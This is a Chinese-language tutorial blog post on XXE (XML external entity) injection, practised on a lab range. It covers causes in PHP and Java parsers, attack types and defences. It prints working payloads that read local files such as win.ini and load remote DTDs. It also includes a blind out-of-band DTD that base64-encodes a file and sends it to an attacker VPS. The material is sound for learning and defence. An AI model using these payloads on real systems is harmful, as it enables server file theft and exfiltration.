XXE - XML外部实体注入攻击

XXE漏洞是什么?

xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;

XXE漏洞的原理

漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。

  • php xxe

php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。

  • java xxe

如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。

XXE漏洞的危害

  • 远程文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • dos攻击
  • ……

XXE漏洞的分类及利用

练习靶场:

GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

靶机:192.168.77.130

VPS:192.168.77.155

回显xxe:

(1)引用内部实体

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE admin[

<!ENTITY admin SYSTEM "file:///C:/Windows/win.ini">

]>

<user><username>&admin;</username><password>admin</password></user>

利用Burpsuite抓包

构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件

(2)引用外部实体

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE admin[

<!ENTITY admin SYSTEM "http://192.168.77.155/1.dtd">

]>

<user><username>&admin;</username><password>admin</password></user>

利用burpsuite抓包,并构建payload读取vps机器上的文件内容

1.dtd文件

(3)参数实体

参数实体讲解:

# f.txt

<!ENTITY % msg "<!ENTITY msg2  'test dtd 111'>">



<?xml version="1.0"?>

<!DOCTYPE admin[

<!ENTITY % msg1 SYSTEM "http://192.168.77.155/f.txt">

%msg1;

%msg;

]>

<user><username>&msg2;</username><password>admin</password></user>

类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。

利用靶场验证如下:

非回显型XXE

利用方式1:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE ANY[

<!ENTITY % remote SYSTEM "http://192.168.77.155/2.dtd">

%remote;

%all;

]>

<user><username>&send;</username><password>admin</password></user>

192.168.77.155/2.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.77.155/?content=%file;'>">

利用靶场实践如下:

1)构建payload并执行

2)查看vps上的access.log日志:

3)base64在线解码

利用方式2

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE aa[

<!ENTITY % remote SYSTEM "http://vps/2.dtd">

%remote;

%all;

%send;

]>

vps/2.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://vps/?content=%file;'>">

XXE漏洞的防御

  1. 确定使用到的第三方xml解析库版本,及时升级新版本。
  2. 升级PHP、JDK版本
  3. 在对xml解析时,禁止外部实体的引用,如
libxml_disable_entity_loader(true)

dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)

dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)

dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
……

另外,可以在菜鸟教程(runoob.com)上学习XML和DTD

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值